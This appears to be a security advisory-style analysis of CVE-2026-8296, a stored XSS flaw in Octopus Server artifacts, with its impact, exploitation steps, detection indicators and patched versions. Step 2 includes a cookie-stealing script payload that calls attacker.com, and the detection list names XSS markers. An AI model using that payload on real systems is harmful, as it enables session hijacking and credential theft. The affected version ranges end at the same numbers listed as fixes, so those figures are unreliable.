CVE-2026-8296: 
Octopus Deploy vulnerability analysis and mitigation

CVE-2026-8296 is a stored Cross-Site Scripting (XSS) vulnerability in Octopus Server that allows authenticated users with certain access levels to embed malicious XSS payloads via artifacts. It affects Octopus Server versions 2023.0.0 through 2025.4.10678, 2026.1.0 through 2026.1.11451, and 2026.2.0 through 2026.2.13114. The vulnerability was published on June 19, 2026, and a patch was made available the same day. It carries a CVSS v4.0 base score of 5.6 (Medium) (GitHub Advisory, Octopus Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically a stored XSS variant. An attacker with elevated access privileges can upload or associate an artifact within Octopus Server containing a crafted XSS payload; when another user views the artifact, the malicious script executes in their browser context. Exploitation requires high privileges, active user interaction from a victim, and high attack complexity, limiting the attack surface but not eliminating risk in multi-user deployments (GitHub Advisory, Octopus Advisory).

Successful exploitation can result in the theft of sensitive information from the victim's browser session, including session tokens or credentials, due to the high confidentiality impact scored in the CVSS v4.0 metrics. There is no direct integrity or availability impact on the vulnerable system or subsequent systems per the CVSS assessment. In a CI/CD environment like Octopus Deploy, session hijacking could potentially allow an attacker to escalate privileges or pivot to deployment pipelines and connected infrastructure (GitHub Advisory).

1. Gain privileged access: Obtain an Octopus Server account with sufficient access levels to upload or manage artifacts within a project or deployment process.
2. Craft malicious artifact: Prepare an artifact (e.g., a file or metadata entry) containing an embedded XSS payload, such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script> in a field rendered without sanitization.
3. Upload artifact: Upload or associate the crafted artifact to a project, release, or deployment within the Octopus Server instance.
4. Wait for victim interaction: Wait for a target user (e.g., an administrator or team member) to navigate to the artifact view page within the Octopus Server web UI, triggering execution of the stored payload in their browser.
5. Harvest session data: The executed script exfiltrates the victim's session token or other sensitive browser data to an attacker-controlled endpoint, enabling session hijacking or further unauthorized actions (GitHub Advisory, Octopus Advisory).

• Logs: Octopus Server audit logs showing artifact uploads or modifications by accounts not typically associated with artifact management; unexpected access to artifact detail pages by multiple user accounts in short succession.
• Network: Outbound HTTP requests from a victim's browser to unknown external domains immediately after viewing an artifact page; unusual GET requests with cookie or token data in query parameters to external IPs.
• Application: Artifact entries containing HTML or JavaScript tags (<script>, onerror=, javascript:) in name, description, or metadata fields within the Octopus Server database or UI.

Octopus Deploy has released patched versions addressing this vulnerability: 2025.4.10678 (for the 2023.x–2025.x branch), 2026.1.11451 (for the 2026.1.x branch), and 2026.2.13114 (for the 2026.2.x branch). Organizations should upgrade to one of these fixed versions as the primary remediation. As a temporary measure, restricting artifact upload permissions to only highly trusted users can reduce exposure until patching is feasible (Octopus Advisory, GitHub Advisory).